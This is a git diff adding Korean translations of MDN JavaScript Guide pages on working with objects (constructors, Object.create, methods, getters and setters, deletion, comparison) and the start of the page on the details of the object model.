+<p>자바스크립트에는 미리 정의된 객체가 몇 개 존재한다. 사용자는 여기에 추가적으로 자신의 객체를 생성할 수 있다. 자바스크립트 1.2 부터는 객체 이니셜라이저(initializer) 를 이용하여 객체를 생성할 수 있다. 또 다른 방법으로는 먼저 생성자 함수를 정의한 후 이 함수와 <code style="font-style: normal;">new</code> 연산자를 이용하여 인스턴스를 만들수 있다.</p>
+
+<p><span style="font-size: 1.71rem; letter-spacing: -0.5px; line-height: 24px;">객체 이니셜라이저</span></p>
+
+<p>생성자 함수를 사용하는 방법 대신, 객체 이니셜라이저를 사용하여 객체를 생성할 수 있다. 이 방식은 때때로 "리터럴 표기에 의한 객체 생성"(creating objects with literal notation) 이라고도 불린다. 객체 이니셜라이저라는 단어는 C++ 에서도 비슷한 의미로 사용된다.</p>
+
+<p><span style="line-height: 1.5;">객체 이니셜라이저를 이용한 객체 생성의 문법은 다음과 같다.</span></p>
+
+<pre class="brush: js">var obj = { property_1:   value_1,   // property_# may be an identifier...
+            2:            value_2,   // or a number...
+            // ...,
+            "property n": value_n }; // or a string </pre>
+
+<p><code>obj</code>는 새로 만들어질 객체 이름이고, <code>property_<em>i</em></code>는 식별자 (이름, 숫자, 또는 스트링 리터럴), <code style="font-style: normal;">value_<em>i</em></code> 는 수식인데 이 값이 <code>property_<em>i</em></code> 에 할당 된다. <code>obj</code> 변수에 할당 (assignment =) 하는 것은 선택 사항이다; 이 생성된 객체를 다른 곳에서 참조할 필요가 없다면 변수에 할당하지 않아도 된다. (만약 이 생성된 객체를 변수를 사용하지 않고 구문 안에서 바로 사용하려면 블럭 구문과 혼돈되지 않도록 리터널을 괄호로 감싸줄 필요가 있다.)</p>
+
+<p>객체 이니셜라이저는 수식이고, 각각의 이니셜라이저가 포함된 구문이 실행될 때 마다 이니셜라이저 수식에 의해 새로운 객체가 하나씩 생성이 된다. 똑같은 이니셜라이저에 의해 생성된 객체라도 서로 별개이며 비교 결과는 동일하지 않음 (not equal) 이 된다. 객체는 마치 <code>new Object()</code> 호출이 실행된 것 처럼 생성이 된다; 즉, 객체 이니셜라이저 수식에 의해 만들어진 객체들은 <code>Object</code>의 인스턴스들이 된다.</p>
+
+<p>다음 문장은 수식<code>cond</code>가 참일 경우 객체를 만들어서 변수 <code>x</code> 에 할당한다:</p>
+
+<pre class="brush: js">if (cond) var x = {hi: "there"};
+</pre>
+
+<p>다음 예제는 <code>myHonda</code>을 생성하고 세개의 속성을 추가한다. <code>engine</code> 속성 역시 자신의 속성들을 가지고 있는 객체이다.</p>
+
+<pre class="brush: js">var myHonda = {color: "red", wheels: 4, engine: {cylinders: 4, size: 2.2}};
+</pre>
+
+<p>객체 이니셜라이저를 이용하여 배열을 만들 수 있다. <a href="/ko/docs/Web/JavaScript/Guide/Values%2C_variables%2C_and_literals#Array_literals">array literals</a> 를 참조하기 바란다.</p>
+
+<p>JavaScript 1.1 과 그 이전 버전에서는, 객체 이니셜라이저를 사용할 수 없었다. 항상 생성자 함수를 쓰거나 생성 목적으로 제공되는 별도 함수를 사용했어야 했다. <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Using_a_constructor_function">Using a constructor function</a> 참고.</p>
+
+<h3 id="생성자_함수_사용하기">생성자 함수 사용하기</h3>
+
+<p>다른 방법으로는 다음 두 단계에 따라 객체를 생성할 수 있다:</p>
+
+<ol>
+ <li>생성자 함수를 작성하여 객체 타입을 정의한다. 객체 타입 이름의 첫 글자는 반드시 대문자를 사용하는 좋은 관례가 있으므로 따르기를 권장한다.</li>
+ <li><code>new</code>를 이용하여 객체의 인스턴스를 생성한다.</li>
+</ol>
+
+<p>객체의 타입을 정의하려면 타입의 이름, 속성(프로퍼티), 메소드 등을 기술하는 함수를 하나 만들어야 한다. 예를 들면, 여러분이 자동차를 위한 객체 타입을 만들기 원한다면, 이 객체의 타입의 이름은 <code>car</code>이고, 이 타입은 제조사, 모델, 생산연도를 위한 속성을 포함하길 원할 것이다. 아마도 다음과 같은 함수를 작성하게 될 것이다:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>함수 인자로 전달 받은 값을 객체의 속성에 할당하기 위해서 <code>this</code>를 사용 한 것에 주목하기 바란다.</p>
+
+<p>이제 다음과 같이 하여 <code>mycar</code>라는 이름의 객체를 생성할 수 있다:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>이 문장은 <code>mycar</code>를 만들고 특정 값들을 속성으로 할당하고 있다. 이렇게 하면 <code>mycar.make</code>의 값은 문자열 "Eagle" 이 되고, <code>mycar.year</code>는 정수 1993 이 된다.</p>
+
+<p><code>new</code>를 이용하면 어떤 갯수의 <code>car</code> 객체도 만들 수 있다. 예를 들면 다음과 같다.</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+var vpgscar = new Car("Mazda", "Miata", 1990);
+</pre>
+
+<p>객체는 또 다른 객체를 속성으로 가질 수 있다. 예를 들어 여러분이 <code>person</code> 이라는 객체를 다음과 같이 정의를 했고:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>그리고 두 개의 새 <code>person</code> 객체의 인스턴스를 만들었다고 하면:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McKinnon", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
+</pre>
+
+<p><code>car</code>의 정의에 <code>person</code> 객체의 값을 갖는 <code>owner</code> 속성을 추가하도록 수정할 수 있다:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>수정된 새 객체의 인스턴스를 만들려면 다음과 같이 하면 된다:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>위 문장은 문자열 리터럴이나 정수를 넘기는 대신 객체 <code>rand</code> 와 <code>ken</code>을 owners를 위한 인자로 전달하고 있다. car2의 소유자 이름을 찾고 싶다면 다음과 같은 속성을 사용할 수 있다.:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<p>이미 정의 된 객체에도 새로운 속성을 추가할 수 있다.</p>
+
+<pre class="brush: js">car1.color = "black";
+</pre>
+
+<p>위 문장은 속성 <code>color</code>를 car1 에 추가하고, 그 값으로는 "black"을 지정하고 있다. 그러나 이것은 다른 객체들에는 영향을 주지 않는다. 새 속성을 해당 타입의 모든 객체들에 다 추가하고 싶다면, 이 속성을 <code>car</code> 객체 타입의 정의에 추가해야 한다.</p>
+
+<h3 id="Object.create_메서드_사용하기">Object.create 메서드 사용하기</h3>
+
+<p>객체는 <code>Object.create</code> 메서드를 이용해서 생성될 수 있다. 이 메서드는 사용할 프로토타입 객체를 사용자가 직접 선택할 수 있기 때문에 상당히 유용하다. (객체 생성시 생성자 함수가 없어도 가능하다). 이 메서드에 대한 더 자세한 정보는 {{jsxref("Object.create()")}} 를 참고하도록 하자.</p>
+
+<pre class="brush: js">// Animal properties and method encapsulation
+var Animal = {
+  type: "Invertebrates", // Default value of properties
+  displayType : function(){  // Method which will display type of Animal
+    console.log(this.type);
+  }
+}
+
+// Create new animal type called animal1
+var animal1 = Object.create(Animal);
+animal1.displayType(); // Output:Invertebrates
+
+// Create new animal type called Fishes
+var fish = Object.create(Animal);
+fish.type = "Fishes";
+fish.displayType(); // Output:Fishes</pre>
+
+<h2 id="상속">상속</h2>
+
+<p>JavaScript 에서의 모든 객체들은 최소한 하나의 다른 객체로부터 상속을 받는다. 상속을 제공하는 객체를 프로토타입이라고 부르며, 상속되는 속성들은 <code>prototype</code> 이라는 생성자 객체에서 찾을 수 있다.</p>
+
+<h2 id="객체_프로퍼티의_인덱싱">객체 프로퍼티의 인덱싱</h2>
+
+<p>JavaScript 1.0에서는 객체의 속성을 참조할 때 속성 이름을 이용하거나 또는 숫자 인덱스를 이용할 수 있었다. 하지만 JavaScript 1.1과 그 이후 부터는 처음에 프로퍼티를 이름으로 정의하면 항상 이름으로만 참조를 할 수 있고, 처음에 인덱스를 이용하여 정의하면 인덱스를 이용해서만 참조할 수 있다.</p>
+
+<p>이 제약 사항은 생성자 함수를 이용하여 객체와 프로퍼티를 생성할 때 (앞에서 <code>Car</code> 객체 타입의 예)에도 동일하게 적용되고, 개개의 속성을 명시적으로 지정할 때 (예: <code>myCar.color = "red"</code>)에도 마찬가지이다. 만약 처음에 객체 속성을 정의할 때 <code>myCar[5] = "25 mpg"</code> 처럼 인덱스 방식을 사용하면, 그 이후에도 계속 <code>myCar[5]</code> 방식으로만 참조할 수 있다.</p>
+
+<p><code>forms</code> 배열과 같이 HTML 로부터 얻어지는 객체들에는 이 규칙이 적용되지 않는다. 숫자를 이용하거나 (이 객체가 문서 상에 존재하는 순서에 따라) 또는 태그의 attribute 이름으로 참조가 가능하다. 예를 들면 HTML 문서에서 두 번째 <code>&lt;FORM&gt;</code> 태그가 "myForm" 이라는 값의 <code>NAME</code> attribute 를 가지고 있다면, 이 form을 <code>document.forms[1]</code> 또는 <code>document.forms["myForm"]</code> 또는 <code>document.myForm</code> 와 같이 접근할 수 있다.</p>
+
+<h2 id="객체의_프로퍼티_정의">객체의 프로퍼티 정의</h2>
+
+<p><code>prototype</code> 프로퍼티를 사용하여 미리 정의된 객체 타입에 속성을 추가할 수 있다. 이렇게 정의된 속성은 해당 객체 타입의 한 인스턴스에만 적용되는 것이 아니라 해당 객체 타입의 모든 인스턴스가 갖게 된다. 다음 코드에서는 <code>car</code> 타입의 객체 전체에 <code>color</code> 프로퍼티를 추가한 후, <code>car1</code> 인스턴스의 <code>color</code> 프로퍼티에 값을 할당하는 것을 보여준다.</p>
+
+<pre class="brush: js">Car.prototype.color = null;
+car1.color = "black";
+</pre>
+
+<p>더 많은 정보는 <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a>에서 <code>Function</code> 객체의 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype">prototype 속성</a>을 참조</p>
+
+<h2 id="메소드_정의">메소드 정의</h2>
+
+<p><em>메소드</em>는 한 객체와 연관된(associated) 함수이며, 간단하게 말해 객체의 프로퍼티 중에서 함수인 것을 메소드라고 한다. 메소드를 정의하는 방식은 일반 함수를 정의하는 것과 동일하고, 다만 어떤 객체의 프로퍼티로 할당되어야 한다는 점이 차이가 난다. 자세한 것은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>를 참조하자. 다음은 메소드 정의의 한 예이다.</p>
+
+<pre class="brush: js">objectName.methodname = function_name;
+
+var myObj = {
+  myMethod: function(params) {
+    // ...do something
+  }
+};
+</pre>
+
+<p>첫번째 줄은 이미 존재하는 <code>objectName</code>이라는 객체에 <code>methodname</code>이라는 이름의 메소드를 추가하는 것이다. <code>function_name</code> 은 메소드로 사용될 함수의 이름이다. 두번째 줄부터는 객체를 정의할 때 메소드를 같이 정의하는 예이다.</p>
+
+<p>그러고 나면 다음과 같이 해당 객체의 문맥(context)에서 메소드를 호출할 수 있다.</p>
+
+<pre class="brush: js">object.methodname(params);
+</pre>
+
+<p>객체 생성자 함수에 메소드 정의를 포함시킴으로써 해당 객체 타입의 메소드를 정의할 수 있다. 한 예로 이전에 정의한 car 객체의 프로퍼티를 형식에 맞춰 출력하는 함수를 정의할 수 있는데, 다음과 같다.</p>
+
+<pre class="brush: js">function displayCar() {
+  var result = "A Beautiful " + this.year + " " + this.make
+    + " " + this.model;
+  pretty_print(result);
+}
+</pre>
+
+<p>위에서 <code>pretty_print</code>는 수평 규칙과 문자열을 나타내 주는 함수이다. 여기서 사용한 <code>this</code>는 해당 메소드가 속한 객체를 가리킨다는 점을 기억하자.</p>
+
+<p>아래와 같은 코드를 <code>car</code>객체의 정의에 추가함으로써 해당 함수를 <code>car</code>객체의 메소드로 만들 수 있다.</p>
+
+<pre class="brush: js">this.displayCar = displayCar;
+</pre>
+
+<p>따라서 <code>car객체의 전체 정의는 아래와 같이 됩니다.</code></p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+  this.displayCar = displayCar;
+}
+</pre>
+
+<p>그리고 각각의 객체(인스턴스)를 가지고 <code>displayCar메서드를 아래와 같이 호출 할 수 있습니다:</code></p>
+
+<pre class="brush: js">car1.displayCar();
+car2.displayCar();
+</pre>
+
+<h2 id="객체_참조를_위해_this_를_사용하기">객체 참조를 위해 <code>this</code> 를 사용하기</h2>
+
+<p>자바스크립트는 특별한 키워드를 가지고 잇습니다. 바로 <code>this</code>라는 키워드이다. 메서드 내부에서 <code>this 키워드를 사용하게 되면 해당 메서드를 포함한 객체를 가리키게 된다. 예를 들어 특정 객체의 속성값의 상한과 하한 값의 범위에 있는지를 확인하는 validate라는 함수를 아래와 같이 작성한다고 했을 때, </code></p>
+
+<pre class="brush: js">function validate(obj, lowval, hival) {
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+    alert("Invalid Value!");
+}
+</pre>
+
+<p><code>validate메서드를 각각의 form 요소들의 onchange 이벤트 핸들러에서 호출할 수 있다. 그 때, 다음 예제처럼 this 키워드를 사용해서 해당 form요소를 인자로 넘길 수 있다. </code></p>
+
+<pre class="brush: html">&lt;input type="text" name="age" size="3"
+  onChange="validate(this, 18, 99)"&gt;
+</pre>
+
+<p>일반적으로 <code>this는 메서드를 호출하는 객체를 지칭합니다. </code></p>
+
+<p> <code>myForm</code>. <code>form속성과 함께 사용할때, this키워드는 현재 객체의 부모 form을 지칭한다. 다음의 예제에서, myForm form은 텍스트 객체와 버튼 객체를 가지고 있다. 사용자가 해당 버튼을 클릭했을때, myForm form안에 있는 텍스트 객체의 값을 myForm form의 이름으로 설정한다. 해당 버튼의 onclick 이벤트 처리자는 부모 form인 myForm을 지칭하기 위해 this.form를 사용한다. </code></p>
+
+<pre class="brush: html">&lt;form name="myForm"&gt;
+&lt;p&gt;&lt;label&gt;Form name:&lt;input type="text" name="text1" value="Beluga"&gt;&lt;/label&gt;
+&lt;p&gt;&lt;input name="button1" type="button" value="Show Form Name"
+     onclick="this.form.text1.value = this.form.name"&gt;
+&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h2 id="getters_와_setters_정의">getters 와 setters 정의</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> 메서드는 특정 속성의 값을 받아 오기 위한 메서드 입니다. <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>메서드는 특정 속성의 값을 설정하기 위한 메서드 입니다. 새로운 속성을 추가 하기 위해 getter와 setter 메서드들을 미리 정의된 객체 혹은 사용자 정의 객체에 정의 하 수 있습니다.  getter와 setter메서드들을 정의 하기 위한 문법은 객체 구문 문법을 사용합니다.</p>
+
+<p>자바스크립트 1.8.1버전부터, 객체와 배열 초기화에서 속성들을 설정하고자 할 경우 setter메서드들은 더이상 사용이 불가합니다.</p>
+
+<p>다음의 <a href="/en-US/docs/SpiderMonkey/Introduction_to_the_JavaScript_shell" title="en-US/docs/SpiderMonkey/Introduction to the JavaScript shell">JS 쉘</a>은 getter와 setter메서드들이 사용자 정의객체인 o에서 어떻게 작동하는지를 보여 줍니다. JS쉘은 개발자가 배치 모드 혹은 대화형 모드에서 자바스크립트 코드를 테스트하기위한 하나의 어플리케이션입니다. </p>
+
+<pre class="brush: js">js&gt; var o = {a: 7, get b() {return this.a + 1;}, set c(x) {this.a = x / 2}};
+[object Object]
+js&gt; o.a;
+7
+js&gt; o.b;
+8
+js&gt; o.c = 50;
+js&gt; o.a;
+25
+</pre>
+
+<p>o 객체의 속성이 다음과 같을 때,</p>
+
+<ul>
+ <li><code>o.a</code> — 숫자</li>
+ <li><code>o.b</code> — o.a에 1을 더한 값을 반환하는 getter 메서드</li>
+ <li><code>o.c</code> — <code>o.a에 주어진 인자 값의 반에 해당 하는 값을 설정하는 setter 메서드</code></li>
+</ul>
+
+<p><code>[gs]et <em>속성명</em>()</code>  문법이 실제 사용되는 메서드명이라고 생각이 될지라도, "[gs]et <em>속성명</em>()" 문법(<code>__define[GS]etter__와는 반대로</code>)을 사용한 객체 구문 문법으로 정의된 getter와 setter메서드들의 이름들은 실제 getter 메서드들의 이름이 아니라는 점에 유의 하세요.  "[gs]et <em>속성명</em>()" 문법을 사용하여 getter, setter메서드내의 함수명을 작성하기 위해서는, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineProperty">Object.defineProperty</a></code> (혹은 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+Objects/Object/defineGetter">Object.prototype.__defineGetter__</a> 레거시 콜백</code>)을 사용하여 프로그램적으로 분명한 이름의 함수명을 사용하세요. </p>
+
+<p>아래의 자바스크립트 쉡은 이미 정의된 Date 클래스의 모든 인스턴스들에 년도 속성을 추가 하기 위해 getter와 setter 메서드들이 Date 프로토타입을 확장하는 방법을 보여 줍니다. </p>
+
+<p>아래의 구문들은 년도 속성 추가를 위한 getter와 setter메서드를 정의합니다:</p>
+
+<pre class="brush: js">js&gt; var d = Date.prototype;
+js&gt; Object.defineProperty(d, "year", {
+    get: function() {return this.getFullYear() },
+    set: function(y) { this.setFullYear(y) }
+});
+</pre>
+
+<p>아래의 구문들은 Date객체에서 getter와 setter메서드를 사용하는 법을 보여 줍니다:</p>
+
+<pre class="brush: js">js&gt; var now = new Date;
+js&gt; print(now.year);
+2000
+js&gt; now.year = 2001;
+987617605170
+js&gt; print(now);
+Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+
+</pre>
+
+<p>원칙적으로, getter와 setter는 둘 중 하나가 될 수 있다.</p>
+
+<ul>
+ <li>object initializers 를 사용하여 정의하거나, </li>
+ <li>getter와 setter메서드 추가 방법을 사용하여 언제든지 특정 객체에 나중에 추가하는 방법</li>
+</ul>
+
+<p>object initializers를 사용해서 getter와 setter메서드들을 정의할 경우, getter메서드는 get, setter메서드는 set이라는 접두사만 추가하면 됩니다. 물론 getter메서드는 인자를 받지 않는 반면, setter 메서드는 정확히 하나의 인자(설정할 새로운 값)만을 받습니다. </p>
+
+<pre class="brush: js">var o = {
+  a: 7,
+  get b() { return this.a + 1; },
+  set c(x) { this.a = x / 2; }
+};
+</pre>
+
+<p><code>Object.defineProperties 메서드를 사용하면 객체 생성이후라도 언제든지 </code>getter and setter메서드들을 객체에 추가할 수 있습니다. <code>Object.defineProperties 메서드의 첫번째 인자는 </code>getter and setter메서드들을 추가할 객체이고, 두번째 인자는 getter and setter메서드들의 이름과 getter and setter메서드들의 정의를 가지고 있는 객체가 되어야 합니다. 이전 예제와 동일하게 사용된 getter and setter메서드들을 정의하고 있는 예제는 아래와 같습니다:</p>
+
+<pre class="brush: js">var o = { a:0 }
+
+Object.defineProperties(o, {
+    "b": { get: function () { return this.a + 1; } },
+    "c": { set: function (x) { this.a = x / 2; } }
+});
+
+o.c = 10 // Runs the setter, which assigns 10 / 2 (5) to the 'a' property
+console.log(o.b) // Runs the getter, which yields a + 1 or 6
+</pre>
+
+<p>당신의 프로그래밍 스타일과 현재 진행 중인 작업에 따라 getter and setter메서드들을 정의할 수 있는 두가지 양식 중 하나를 선택하여 사용할 수 있습니다. prototype을 정의 할때 object initializer를 사용했다면 앞으로도 대부분 첫번째 양식을 선택 하여 작성을 할 것입니다. 이 양식이 보다 간결하고 자연스럽기 때문입니다. 하지만 prototype 혹은 특정 객체를 작성하지 않고서 나중에 getter and setter 메서드를 추가하고자 한다면 두번째 양식만이 가능한 선택입니다.  두번째 양식은 아마도 자바스크립트의 동적 속성을 가장 잘 나타내고 있습니다. 하지만 코드 작성과 읽고 이해하는 부분에 어려움이 있습니다. </p>
+
+<div class="note">
+<p>Firefox 3.0 이전 버전의 경우, getter and setter 메서드들은 DOM 요소들에는 지원되지 않습니다. 이전 버전의 Firefox에서는 아무런 에러 없이 작동하지 않을 것입니다. 이것에 대한 예외가 필요하다면, HTMLElement의 prototype<code>(HTMLElement.prototype.__define[SG]etter__)</code>을 변경하고 예외를 던지는 것이 하나의 방법입니다.</p>
+
+<p>Firefox 3.0 버전에서는 이미 정의된 속서에 대해 getter or setter를 정의 할 경우 예외가 발생됩니다. 이전 버전의 Firefox에서는 아니지만 해당 속성을 반드시 사전에 제거해야만 합니다. </p>
+</div>
+
+<h4 id="Defining_getters_and_setters_See_also" name="Defining_getters_and_setters_See_also">추가로 볼 것들 </h4>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/JavaScript/Reference/Global_Objects/Object/defineSetter">Object.defineProperty</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Operators/get" title="en-US/docs/JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code></li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Operators/set" title="en-US/docs/JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code></li>
+</ul>
+
+<h2 id="프로퍼티의_삭제">프로퍼티의 삭제</h2>
+
+<p>상속 받지 않은 속성은 <code>delete</code> 연산자를 이용하여 제거 할 수 있다. 다음 코드는 어떻게 속성을 제거하는지 보여준다.</p>
+
+<pre class="brush: js">// 새 객체 myobj를 두 개의 속성 a, b 와 함께 생성
+var myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+// 속성을 삭제. myobj 에는 속성 b 만 남게 됨.
+delete myobj.a;
+console.log ("a" in myobj) // "false"를 출력
+</pre>
+
+<p><code>var</code> 키워드로 선언하지 않은 전역 변수도 <code>delete</code>를 이용하여 삭제를 할 수 있다:</p>
+
+<pre class="brush: js">g = 17;
+delete g;
+</pre>
+
+<p>더 자세한 정보는 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>를 보면 된다.</p>
+
+<h2 id="객체_간의_비교">객체 간의 비교</h2>
+
+<p>JavaScript 에서는 객체들은 레퍼런스 타입이다. 두 개의 별개 객체들은, 설령 그 속성 값들이 모두 다 동일하다고 하더라도, 절대로 동일하다고 비교(equal)될 수 없다. In JavaScript objects are a reference type. Two distinct objects are never equal, even if they have the same properties. Only comparing the same object reference with itself yields true.</p>
+
+<pre class="brush: js">// 속성은 같지만 서로 별개인 두 변수와 두 객체
+var fruit = {name: "apple"};
+var fruitbear = {name: "apple"};
+
+fruit == fruitbear // false 리턴
+fruit === fruitbear // false 리턴</pre>
+
+<pre class="brush: js">// 두 개의 변수이지만 하나의 객체
+var fruit = {name: "apple"};
+var fruitbear = fruit;  // fruit 객체 레퍼런스를 fruitbear 에 할당
+
+// here fruit and fruitbear are pointing to same object
+fruit == fruitbear // true 리턴
+fruit === fruitbear // true 리턴
+</pre>
+
+<p>비교 연산자에 대한 상세한 정보는 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a>를 참고하기 바란다.</p>
+
+<h2 id="추가_검토">추가 검토</h2>
+
+<ul>
+ <li><a class="external" href="http://es5.github.com/#x4.2" title="http://es5.github.com/#x4.2">ECMAScript 5.1 spec: Language Overview</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/javascript-the-core" title="http://dmitrysoshnikov.com/ecmascript/javascript-the-core">JavaScript. The core. (Dmitry A. Soshnikov ECMA-262 article series)</a></li>
+</ul>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</div>
diff --git a/files/ko/web/javascript/guide/객체_모델의_세부사항/index.html b/files/ko/web/javascript/guide/객체_모델의_세부사항/index.html
new file mode 100644
index 0000000000..230d5cb9e1
--- /dev/null
+++ b/files/ko/web/javascript/guide/객체_모델의_세부사항/index.html
@@ -0,0 +1,714 @@
+---
+title: 객체 모델의 세부 사항
+slug: Web/JavaScript/Guide/객체_모델의_세부사항
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">자바스크립트는 클래스 기반이 아닌 prototype에 기초한 객체 기반 언어 입니다. 이런 차이점으로 인해, 객체들의 계층 구조의 생성과 속성 및 속성 값의 상속을 어떻게 구현해야 하는지에 대한 부분이 덜 분명할 수 있습니다. 이번 장에서는 이런 상황을 명확하게 하고자 합니다. </p>
+
+<p>이번 장에선 이미 자바스크립트를 어느 정도 알고 있고, 간단한 객체를 생성하는 함수들을 사용해보았다는 가정하에 진행합니다.</p>
+
+<h2 id="클래스_기반_언어_대_프로토타입_기반_언어">클래스 기반 언어 대 프로토타입 기반 언어</h2>
+
+<p>Java와 C++같은 클래스 기반의 언어들은 두개의 구별되는 개념에 기반을 두고 있습니다: 그건 바로 클래스와 인스턴스입니다.</p>
+
+<ul>
+ <li>클래스는  특정 객체군을 특징 짓는 모든 속성들(Java에서는 메서드들과 필드들을 , C++에서는  멤버들을 속성으로 간주합니다. )을 정의합니다.클래스는 해당 객체군을 표현할 수 있는 특정 멤버를 지칭하는 것이 아닌 그보다 더 추상적인 것입니다. 예를 들어, <code>직원</code>클래스는 직원들을 대표할 수 있습니다.</li>
+ <li>반면 인스턴스는 클래스를 기반으로 실체화된 것입니다. 예를 들어, <code>빅토리아</code>는 특정 직원 개인을 나타내는 <code>직원</code>클래스의 인스턴스가 될 수 있습니다. 인스턴스는 부모 클래스의 속성과 동일한 속성들을 가집니다.</li>
+</ul>
+
+<p>자바스크립트같은 프로토타입기반의 언어들은 위와 같은 클래스와 인스턴스의 차이를 두지 않습니다. 간단하게 객체들을 가질 뿐입니다. prototype기반의 언어는 원형(프로토타입)의 객체 개념을 가지고 있습니다. 하나의 객체는 새로운 객체를 생성했을 때 초기 속성을 가질 수 있도록 하는 형판(template)으로 사용됩니다. 객체는 생성될 때 혹은 실행 시에 자기 자신의 속성을 명시할 수 있습니다. 추가적으로, 객체들은 또 다른 객체를 생성하기 위한 프로토타입으로 연관지어 질 수 있으며 프로토타입으로부터 생성된 두번째 객체가 프로토타입인 첫번째 객체의 속성을 공유(혹은 접근)하는 것을 허용합니다. </p>
+
+<h3 id="클래스_정의">클래스 정의</h3>
+
+<p>클래스 기반의 언어들에서, 별도의 클래스를 생성하고 그 안에서 해당 클래스를 정의 할 수 있습니다. 해당 정의에서 클래스의 인스턴스를 생성할 수 있는 생성자라고하는 특별한 메서드를 명시할 수 있습니다. 생성자는 해당 인스턴스의 초기 속성 값을 지정할 수 있고, 생성 시점에, 다른 적절한 처리를 수행 할 수 있습니다. 클래스의 인스턴스를 생성하기 위해서 new 연산자와 함께 생성자를 호출해야 합니다. </p>
+
+<p>자바스크립트는 위와 비슷한 방법을 취합니다. 하지만 생성자이외에 따로 클래스 정의를 가지고 있지는 않습니다. 대신, 특정 속성및 속성값들을 가지고 객체를 생성하는 생성자 함수를 정의할 수 있습니다. 특정 자바스크립트 함수는 생성자로 사용 될 수 있습니다. 새로운 객체를 생성할려면 new연산자와 함께 생성자 함수를 사용해야 합니다.</p>
+
+<div class="blockIndicator note">
+<p>ECMAScript 2015에 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">클래스 선언</a>이 새롭게 소개되었습니다.</p>
+
+<blockquote>
+<p>ECMAScript 2015에서 소개된 자바스크립트 클래스는 주로 문법적 설탕으로 기존 자바스크립트 프로토타입 기반 상속에  읽기 좋은 형식으로 바뀌었습니다. 이 클래스 문법이 자바스크립트에 새로운 객체 중심 상속 모델을 소개한 것은 아닙니다.</p>
+</blockquote>
+</div>
+
+<h3 id="하위_클래스와_상속">하위 클래스와 상속</h3>
+
+<p>클래스 기반 언어에서는 클래스 정의를 통해 클래스 계층구조를 생성합니다. 클래스를 정의할 때 이미 존재하는 클래스의 하위 클래스를 새로운 클래스로 지정할 수 있습니다. 이 하위 클래스는 부모 클래스의 모든 속성을 상속받으며 추가로 새로운 속성을 추가하거나 상속받은 속성을 수정할 수 있습니다. 예를 들어  이름(<code>name</code>)과 부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>)을 가진 직원(<code>Employee</code>) 클래스와 그 하위 클래스에 보고(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">reports</span></font>) 속성을 추가한 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 클래스가 있다고 해봅시다. 이 경우 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>)의 인스턴스는 다음과 같이 세가지 속성을 모두 가질 수 있습니다 - 이름(<code>name</code>),  부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>),  보고(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">reports</span></font>).</p>
+
